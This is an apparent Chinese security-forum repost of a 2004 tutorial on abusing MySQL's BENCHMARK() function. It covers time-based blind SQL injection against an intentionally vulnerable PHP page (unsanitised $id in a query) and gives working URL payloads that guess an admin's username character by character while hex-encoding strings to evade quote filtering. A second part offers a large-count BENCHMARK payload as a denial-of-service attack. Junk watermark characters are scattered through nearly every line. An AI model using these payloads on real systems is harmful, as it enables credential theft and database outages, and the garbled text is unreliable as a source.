找回密码
 立即注册
查看: 2983|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
, [; o7 U7 T: g/ `本文作者:SuperHei
3 C2 }' B! H: _/ T文章性质:原创2 w% Y# i2 h: R5 }" Y2 E
发布日期:2005-01-02
3 d) Y0 d) U$ |( _3 M4 r完成日期:2004-07-09 + R0 {* Q  @1 ^* ~
第一部
; |) X3 u- C2 |1 G! `% [0 @4 N
3 O0 z. ]! w& _, l2 R7 |利用时间推延进行注射---BENCHMARK函数在注射中的利用
/ q: \" S4 ]5 q( _& Y
0 n; H8 ^: Z: `( L( {一.前言/思路* ]: V) l& d( |. x1 f5 `

$ ^7 O1 w7 x/ n  t" ?! B/ Z( F! I  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
: U  z/ o0 u2 t1 v# [4 u
, E$ z1 P: u, c5 t6 \/ T  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。, T7 F, _3 e) N( Q1 b+ b

  j/ N5 x4 y. U; \  C* l二.关于BENCHMARK函数
6 e, R% B" D/ y% x  d7 d. u! Z1 W8 P' q
  在MySQL参考手册里可以看到如下描叙: / S- V: m' J5 F' \) C

* ^" @8 c) Z2 S6 u  |" V& O7 P
9 l. |! k$ L$ K# J--------------------------------------------------------------------------------! ^' X9 b! b" r. K. W+ v

5 A3 x1 C, W) i6 h7 C9 @: nBENCHMARK(count,expr) . a" e- u( G4 R$ l4 Q/ }
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
* }& D2 f3 I* e' o* e. p$ E) ]mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
1 U) ?# z; B# O+----------------------------------------------+ 5 r0 f; a4 a# Z" s. ^. G7 I5 n
| BENCHMARK(1000000,encode("hello","goodbye")) |
0 ^" G& J6 E6 p+----------------------------------------------+
+ G6 Q. G2 e' p1 x2 s| 0 | , K0 G$ ^0 |7 {, p& k
+----------------------------------------------+
2 q1 |9 Z$ c6 b( `+ @/ ~1 row in set (4.74 sec) " O8 D9 H0 d1 [, h! y5 \
4 L0 y) c; W8 [7 Z1 U) U( @, J$ z
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。' `8 u* ?4 F# P- k3 r
+ Q. K$ M, `( U

  E# m: p1 j: G; o$ S9 i1 A, Y--------------------------------------------------------------------------------1 u0 ]/ ^# k/ _; n
  r' G5 k5 D. D# p
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: ( A& C6 ^! m! A# H7 @' l0 u$ e
0 E6 ?, @# Z4 z% n; u
mysql> select md5( 'test' );   X) w. ]2 _) `9 w$ [
+----------------------------------+
& w- \, [, K5 D, u( _| md5( 'test' ) | & y/ B* l8 R# y2 B6 F
+----------------------------------+
3 E, I. x! l/ y9 e- y& z. t. r| 098f6bcd4621d373cade4e832627b4f6 | ( C' d) ~) u6 K) E
+----------------------------------+
0 S* m  N1 `, Z/ }* ^# D, l# @# l1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
5 p3 ]6 g; V, |/ n4 }  G: Q
& {* U+ |' T# s9 u$ Rmysql> select benchmark( 500000, md5( 'test' ) );
  N/ v' H6 j+ v- G& k+------------------------------------+
) \( k( ~, U; j" ?1 N1 `| benchmark( 500000, md5( 'test' ) ) |
3 K2 z9 g0 L' y+------------------------------------+ ! y" r5 P/ z' D# t3 m6 g
| 0 | ) _% O$ q; C' w3 L. C( v
+------------------------------------+ 7 t3 F0 G# p: @( ~/ p( @! M0 v
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec- x- Z. [  u4 B$ V8 |% ~# [

; Z# R0 r4 X9 x$ d. ~- j1 @* T
9 {$ O5 b  i9 Q3 L; E7 o  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 9 V( X4 Q7 t  [/ I2 U9 S" S3 f

( j% ~* l0 ~7 z. L: u; y- u7 j三.具体例子* m/ @" Q1 B8 L' R7 @

. r3 o: l$ T! s. g  首先我们看个简单的php代码:
: Z: Q6 J& k; s* @2 @( f! ]
: P* Q! U- S- U< ?php
% g3 k8 I5 M' f* Z1 f$ w0 W; Y8 r$servername = "localhost";
, N, s$ S' i' d3 v" |$dbusername = "root"; 8 w8 Y, o' y' Z) {' S
$dbpassword = ""; 4 M: R0 d3 |, u3 m
$dbname = "injection";
8 b+ X2 w; f$ p$ ^2 ^
& u, R3 }: U5 e: pmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); - a4 ]3 `# n% P# N9 q# G/ n

6 _/ M0 S3 I% `$sql = "SELECT * FROM article WHERE articleid=$id"; + `# B. W# [& l( Q; M
$result = mysql_db_query($dbname,$sql); & q$ E8 a4 H$ d# R6 z: l
$row = mysql_fetch_array($result); 7 J" @5 F* m5 \

/ y1 y0 x4 b" S) mif (!$row) 7 F$ c  }9 s5 p0 S6 h& I# I1 ~) z
{ 4 ?# l! m5 f+ C3 w& [- G- s
exit; " |& Q8 n! _* P) s, Z$ o7 Q, t  V
}
  N: Q  o. @, J* V: I9 {?>7 V) ?9 w( h% }9 Y) `

1 a+ m' h6 v2 \; S0 Q  T
. x- R0 }1 t* A! @6 n8 Y  数据库injection结构和内容如下:9 c7 ^& w/ g( m. d  i# x# b8 i
9 u$ w! j* P" L& C4 i
# 数据库 : `injection` ; O/ ^. }" _2 q# J
# # g: F6 ]9 Z) U9 {, _! L0 ^
; }/ |7 v5 f# @2 c. ?" w
# -------------------------------------------------------- 2 D: {8 S) I1 _: t+ Q* \
) \' G' x$ l" ~" Q$ w: W
#
4 D1 \! h* K' v7 Y( o. O9 X8 l& n# 表的结构 `article` . N% e1 o$ l# r4 R" v: ?. B: X2 g
# - n/ Z6 w0 V0 z

, r0 i1 [) E0 w: `( J9 L5 FCREATE TABLE `article` ( 4 H" \) n  t2 ~# U' Y
`articleid` int(11) NOT NULL auto_increment,
; D* \/ S4 z# j, X`title` varchar(100) NOT NULL default '',
" K) W: p/ n  J9 J' ?`content` text NOT NULL,
' B9 c4 X& v! l6 \9 x8 XPRIMARY KEY (`articleid`)
+ w, Y. n4 v/ c5 C  z. D$ b6 q/ p) TYPE=MyISAM AUTO_INCREMENT=3 ; 4 x+ U& @7 S8 g) _0 H

9 q9 e( v1 i2 p# I# 8 o% A- @" W( x8 H) O" j8 W
# 导出表中的数据 `article`
3 v' O7 i% Z2 I8 n5 w' b# x7 n# ' g) ?5 y: ]% X% u: N

: ^2 d3 ?) O2 _) |! ]* c) QINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
3 F' @1 z' ~5 Y% k  V. XINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
: o# A0 y& u$ R' R& T' M' F% ~
6 W3 _( |. R) e, g: q# --------------------------------------------------------
) {$ R; `/ O5 i3 J$ @
4 S, x+ J/ C, M% V# ' O, u4 y7 C1 N1 s+ B: I
# 表的结构 `user`
( T& j" A  o" l$ }( |# , K4 F8 K. J$ }1 ?5 V6 L$ s$ F- m

/ {; x3 y# ?+ e, m/ RCREATE TABLE `user` ( ) O6 t+ O6 x: \2 |  o5 C) k
`userid` int(11) NOT NULL auto_increment,
1 K6 r% ]( ~3 J1 u`username` varchar(20) NOT NULL default '',
6 H# R8 A3 k5 w/ B# ?! t" K4 s`password` varchar(20) NOT NULL default '', ; H8 p/ ~) p& B% b3 x
PRIMARY KEY (`userid`)
$ N5 N. ^, E/ H) TYPE=MyISAM AUTO_INCREMENT=3 ; / D, G+ d7 D; o3 f" f+ c: I+ V
, Y  \8 p: D* @7 I
# 1 f/ `* a2 J$ J9 D9 S5 {
# 导出表中的数据 `user` 4 b9 H5 U. J" c# r
# 2 {4 x! g" k0 j. n3 n

8 ^# ], p; \; x2 N0 [INSERT INTO `user` VALUES (1, 'angel', 'mypass');
8 I* D/ W7 w- ^8 ~INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');& P2 h& U' L% X/ M( o
9 u# P) R+ q1 u0 y. I! ]

  }9 J# N: a7 Y$ ~) b0 q, l& V  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
* |0 k5 K, i' C4 e* w) J
' R! g/ u2 J4 T1 ?. V7 o8 y' uid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*( K- Z$ ]3 `3 d- P4 `2 y
$ E6 R) r  n/ r/ k  q+ U
7 a  J1 d# e) I
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
  Y7 A  A7 Z. |; l; q$ U( |7 ^; i
. h7 F) C; C( N5 T7 Fhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*. h" @0 q" f1 R" F4 a

- a3 t0 w/ a' g/ E0 M3 q& l# i7 D3 N% b! Q5 ]" E
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 & L2 K' |( J6 N2 `6 b' z/ ]

. w) N; r5 _: [4 B6 \2 t5 V! i  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
5 r- y! I, H1 ^- u0 Z* H3 Z8 i7 x1 \
第二部
  F, N9 t% a6 y0 R0 x. J2 q- N6 T& _/ {! A2 \; [
利用BENCHMARK函数进行ddos攻击 ; @3 r6 ^$ b" C. C1 S
  e9 }- u; M4 I4 q2 G
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:$ V4 s6 a" f+ h* H+ y; p
; f# \3 ^7 j8 o0 q9 ]* j
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
" `4 b, n- F4 b( v . i' J9 U# i5 g7 f% O
* D9 y6 R, R% T+ o+ [
小结: V0 E6 ~/ z) M+ ]! _1 t( N# @
* j. p, `8 u0 P
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。% T0 a2 b" g: k' s
9 b" G3 x6 g, ]4 _% U4 X
  + B- c( {; n' K; N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表